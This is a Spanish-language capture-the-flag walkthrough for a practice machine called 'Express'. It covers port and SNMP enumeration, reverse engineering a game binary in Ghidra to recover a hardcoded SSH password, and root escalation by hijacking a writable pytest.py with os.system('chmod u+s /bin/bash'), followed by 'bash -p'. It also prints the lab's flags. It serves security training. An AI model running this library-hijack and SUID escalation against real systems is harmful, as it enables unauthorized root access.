CTF Express Intermediate

URL Download CTF = https://drive.google.com/file/d/1PJ4HmKWZJCNtc7leqWLPlhmRgnSosUUU/view?usp=sharing

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip express.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_deploy.sh express.tar

Info:

___________________¶¶                                                              ____________________¶¶__¶_5¶¶               
____________5¶5__¶5__¶¶_5¶__¶¶¶5            
__________5¶¶¶__¶¶5¶¶¶¶¶5¶¶__5¶¶¶5                              
_________¶¶¶¶__¶5¶¶¶¶¶¶¶¶¶¶¶__5¶¶¶¶5                                               
_______5¶¶¶¶__¶¶¶¶¶¶¶¶¶¶¶_5¶¶__5¶¶¶¶¶5                                             
______¶¶¶¶¶5_¶¶¶¶¶¶¶¶¶¶¶¶¶5¶¶¶__¶¶¶¶5¶5                                            
_____¶¶¶¶¶¶_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_¶¶¶¶¶¶¶5                                           
____¶¶¶¶¶¶¶_¶¶¶5¶¶¶¶5_¶¶¶¶¶5_5¶_¶¶¶¶¶¶¶¶5                                          
___¶¶¶¶¶¶¶¶__5¶¶¶¶¶¶5___5¶¶¶¶__5¶¶¶¶¶¶¶¶¶5                                         
__¶¶¶¶¶¶¶¶¶¶5__5¶¶¶¶¶¶5__5¶¶5_5¶¶¶¶¶¶¶¶¶¶¶                                         
_5¶¶¶¶¶¶¶¶¶¶¶¶_5¶¶¶¶¶¶¶¶¶5__5¶¶¶¶¶¶¶¶¶¶¶¶¶5                                        
_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_5¶¶¶¶                                        
5¶¶¶¶¶¶¶¶¶¶¶¶5___5¶¶¶¶¶¶¶5__¶¶¶¶5_¶¶¶5_¶¶¶¶                                        
¶¶¶¶¶¶¶¶_¶¶5_5¶5__¶¶¶¶¶¶¶¶¶5_5¶¶¶_5¶¶¶_5¶¶¶5                                       
¶5¶¶¶¶¶5_¶¶_5¶¶¶¶¶_¶¶¶¶¶¶¶¶¶¶5_5¶¶_5¶¶¶_¶¶¶5                                       
¶¶¶¶_¶¶__¶__¶¶¶¶¶¶5_5¶¶¶¶¶¶¶¶¶¶5_¶¶_5¶¶_5¶¶¶                    
¶¶¶5_5¶______5¶¶5¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶5_¶¶_5¶5_¶5¶                                       
5¶¶____5¶¶¶¶5_____5¶¶¶¶¶¶¶5_¶¶¶¶¶5_¶__¶¶_5¶¶                                       
_¶¶__5¶¶¶¶¶¶¶¶¶¶5____5¶¶¶¶¶¶_¶¶¶¶¶_____¶5_¶¶                                       
_¶¶___5¶¶¶¶¶¶¶¶¶__________5¶5_¶¶¶¶¶____¶¶_¶¶                                       
_¶¶_______5¶¶¶¶¶¶5____________¶¶¶¶¶_____¶_¶¶                                       
_5¶5________5¶¶_¶¶¶¶5________5¶¶¶¶¶_______¶¶                                       
__¶¶__________¶___¶¶¶¶¶5___5¶¶¶¶¶¶5_______¶5                                       
__¶¶____________5¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶________¶                                        
___¶________________5¶¶¶¶¶¶¶¶5_¶¶                                                  
___¶__________5¶¶¶¶¶¶¶¶5¶¶¶5__5¶5
_____________________5¶¶¶5____¶5


 ##   ##    ##       ####   ###  ##  #######  ######   ####       ##     ######    #####                                                                                                     
 ##   ##   ####     ##  ##   ##  ##   ##   #   ##  ##   ##       ####     ##  ##  ##   ##                                                                                                    
 ##   ##  ##  ##   ##        ## ##    ## #     ##  ##   ##      ##  ##    ##  ##  #                                                                                                          
 #######  ##  ##   ##        ####     ####     #####    ##      ##  ##    #####    #####                                                                                                     
 ##   ##  ######   ##        ## ##    ## #     ## ##    ##   #  ######    ##  ##       ##                                                                                                    
 ##   ##  ##  ##    ##  ##   ##  ##   ##   #   ##  ##   ##  ##  ##  ##    ##  ##  ##   ##                                                                                                    
 ##   ##  ##  ##     ####   ###  ##  #######  #### ##  #######  ##  ##   ######    #####                                                                               
                                                                                                                                                                                             
        v2.0 by d1se0                                                                                                                                                                        
                                                                                                                                                                                             

Estamos desplegando la máquina vulnerable, espere un momento.                      

Creador: d1se0                                                                     

Maquina: express      

Máquina desplegada, su dirección IP es --> 172.17.0.2    

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-10 11:17 EST
Nmap scan report for express.dl (172.17.0.2)
Host is up (0.000027s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 7a:88:11:76:1d:4b:b3:31:95:6d:90:86:87:ef:3b:96 (ECDSA)
|_  256 26:f9:fb:7a:c7:be:cf:da:99:39:18:f5:bd:56:d5:a3 (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Correos Express - Env\xC3\xADos R\xC3\xA1pidos y Seguros
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.76 seconds

Vemos que hay una pagina web activa, pero no veremos gran cosa, si hacemos un reconocimiento por UDP ya que por TCP no encontramos nada interesante, vamos a filtrarlo por los puertos abiertos.

UDP

nmap -p- --open -sU --min-rate 5000 -vvv -n -Pn <IP> | grep "open"

Info:

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Discovered open port 161/udp on 172.17.0.2

Y vemos que el puerto 161 esta abierto por UDP por lo que con un script de nmap vamos a ver mas informacion sobre dicho puerto:

nmap -sU -p 161 --script=snmp-info <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-10 11:25 EST
Nmap scan report for express.dl (172.17.0.2)
Host is up (0.000040s latency).

PORT    STATE SERVICE
161/udp open  snmp
| snmp-info: 
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: a3dbb266b604806700000000
|   snmpEngineBoots: 3
|_  snmpEngineTime: 8m05s
MAC Address: 02:42:AC:11:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds

Vamos a intentar obtener informacion sobre dicho puerto a ver si lo tuviera mal configurado:

snmpwalk -v2c -c public <IP>

Info:

iso.3.6.1.2.1.1.1.0 = STRING: "Linux 1eda413e9880 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (191605) 0:31:56.05
iso.3.6.1.2.1.1.4.0 = STRING: "Me <admin@express.dl>"
iso.3.6.1.2.1.1.5.0 = STRING: "1eda413e9880"
iso.3.6.1.2.1.1.6.0 = STRING: "/var/www/secret/*"
iso.3.6.1.2.1.1.7.0 = INTEGER: 105
iso.3.6.1.2.1.1.8.0 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (474455) 1:19:04.55
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 E9 01 0A 11 30 39 00 2B 01 00 
iso.3.6.1.2.1.25.1.3.0 = INTEGER: 393216
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/boot/vmlinuz-6.8.11-amd64 root=UUID=83f637c8-5a20-46ef-a18a-c151451da541 ro quiet splash
"
iso.3.6.1.2.1.25.1.5.0 = Gauge32: 0
iso.3.6.1.2.1.25.1.6.0 = Gauge32: 7
iso.3.6.1.2.1.25.1.7.0 = INTEGER: 0
iso.3.6.1.2.1.25.1.7.0 = No more variables left in this MIB View (It is past the end of the MIB tree)

Y por lo que vemos si nos vuelca informacion, por lo que vemos en el correo, nos muestra un dominio, por lo que vamos a probar a buscar en dicho dominio en la web.

nano /etc/hosts

#Dentro del nano

<IP>          express.dl

Lo guardamos y buscamos lo siguiente:

URL = http://express.dl/

Vemos que nos muestra una pagina web en dicho dominio, por lo que vamos hacer un poco de fuzzing.

Vamos a probar a poner una tipica donde suelen haber malas configuraciones en muchas paginas web.

URL = http://express.dl/robots.txt

Info:

#################################################
#		    ROBOTS			#
#################################################

disable: binary/*
disable: secret/note.txt

Vemos que hay una interesante llamada binary que si entramos dentro, veremos un archivo llamado game el cual podremos descargar.

chmod +x game
./game

Info:

Bienvenido al juego de adivinar el número.
Debes adivinar el número correctamente 100 veces para obtener la clave secreta.

Adivina el número (intento #1 de 100): 5
El número es más grande. Intenta de nuevo: 70
El número es más grande. Intenta de nuevo: 80
¡Correcto! Pasemos al siguiente número.

Adivina el número (intento #2 de 100): 

Vemos que es como un minijuego, pero tendremos que adivinarlo 100 veces el numero aletorio, para descubrir la clave secreta, por lo que le haremos ingenieria inversa:

Escalate user admin

Ingenieria Inversa

Vamos a ejecutar una herramienta para decompilar el binario y asi ver las funciones que se llaman, etc...

ghidra

Una vez que hayamos creado un nuevo proyecto e importado el binario para ser decompilado, si nos vamos a la parte izquierda donde estan las functions veremos una bastante interesante llamada hidden_key que si entramos en ella, veremos lo siguiente:

void hidden_key(void)

{
  undefined8 local_28;
  undefined2 local_20;
  undefined6 uStack_1e;
  undefined2 uStack_18;
  undefined8 local_16;
  uint local_c;
  
  local_28 = 0x6472307773734050;
  local_20 = 0x2321;
  uStack_1e = 0x313532302d2d;
  uStack_18 = 0x3336;
  local_16 = 0x45464e4773756866;
  puts(&DAT_00102008);
  printf("La clave secreta es: ");
  for (local_c = 0; local_c < 0x1a; local_c = local_c + 1) {
    putchar((int)*(char *)((long)&local_28 + (long)(int)local_c));
  }
  putchar(10);
  return;
}

Vemos que esta una clave ofuscada por lo que vamos a decodificarla de la siguiente forma:

local_28 = 0x6472307773734050; // Interpreta como ASCII
// Divide en pares de bytes (little-endian):
// 0x50 ('P'), 0x40 ('@'), 0x73 ('s'), 0x73 ('s'), 0x77 ('w'), 0x30 ('0'), 0x72 ('r'), 0x64 ('d')

local_20 = 0x2321; // Interpreta como ASCII
// 0x21 ('!'), 0x23 ('#')

uStack_1e = 0x313532302d2d; // Interpreta como ASCII
// 0x2d ('-'), 0x2d ('-'), 0x30 ('0'), 0x32 ('2'), 0x35 ('5'), 0x31 ('1'), 0x36 ('6'), 0x33 ('3')

uStack_18 = 0x3336; // Interpreta como ASCII
// 0x36 ('6'), 0x33 ('3')

local_16 = 0x45464e4773756866; // Interpreta como ASCII
// 0x66 ('f'), 0x68 ('h'), 0x75 ('u'), 0x73 ('s'), 0x47 ('G'), 0x4e ('N'), 0x46 ('F'), 0x45 ('E')

Esto unido todo se veria de esta forma:

P@ssw0rd!#--025163fhusGNFE

SSH

Por lo que podemos pensar que puede ser la contraseña de un usuario del sistema, probemos con el nombre que vimos en el correo del puerto UDP anteriormente que era admin:

ssh admin@<IP>

Metemos como contraseña P@ssw0rd!#--025163fhusGNFE y veremos que estamos dentro, por lo que leeremos la flag del usuario.

user.txt

b3c3a88e29a2770f381cab74163e5a94

Escalate Privileges

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for admin on 1eda413e9880:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User admin may run the following commands on 1eda413e9880:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/script.py

Por lo que vemos podemos ejecutar el binario python3 junto al script del opt como el usuario root.

si leemos el codigo del script, veremos lo siguiente:

import os
import random
import time
import pytest

# Configuración de la pantalla
ROWS, COLUMNS = os.get_terminal_size()
DELAY = 0.05

def generate_column():
    """Genera una columna aleatoria de caracteres."""
    return [random.choice("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()") for _ in range(ROWS)]

def draw_rain(columns):
    """Dibuja las columnas de caracteres en la pantalla."""
    #os.system('cls' if os.name == 'nt' else 'clear')  # Limpia la pantalla
    for col in zip(*columns):
        print("".join(col))
    time.sleep(DELAY)

def main():
    # Crear columnas aleatorias
    columns = [generate_column() for _ in range(COLUMNS)]

    while True:
        # Desplaza las columnas hacia abajo
        for col in columns:
            col.insert(0, random.choice("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()"))
            col.pop()
        draw_rain(columns)

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\nAnimación terminada.")

Vemos que se esta importando una libreria bastante rara en el script que se llama pytest por lo que vamos a buscarla a ver que hace.

find / -name "pytest.py" 2>/dev/null

Info:

/usr/lib/python3.12/pytest.py

Si listamos para ver los permisos que tiene dicha libreria...

ls -la /usr/lib/python3.12/pytest.py

Info:

-rwxrwxr-x 1 root admin 1 Jan 10 17:08 /usr/lib/python3.12/pytest.py

Vemos que somos del grupo del script, por lo que podremos escribirlo, haciendo lo siguiente.

nano /usr/lib/python3.12/pytest.py

#Dentro del nano
#/bin/python3

import os

os.system("chmod u+s /bin/bash")
print("Se ha establecido el bit SUID en /bin/bash.")

Esto lo que hara sera hacer un chmod u+s /bin/bash, por lo que lo guardamos y ejecutamos lo siguiente para que se ejecute la libreria y se nos ponga con permisos SUID la bash.

sudo python3 /opt/script.py

Y tendremos que darle a Ctrl+C para que pare la "animacion" y si comprobamos la bash.

ls -la /bin/bash

Info:

-rwsr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash

Vemos que tiene permisos SUID por lo que haremos lo siguiente:

bash -p

Y con esto ya seremos root, por lo que leeremos la flag de root.

root.txt

8d4efee97352c73a8b059a94fe69dcd1

Last updated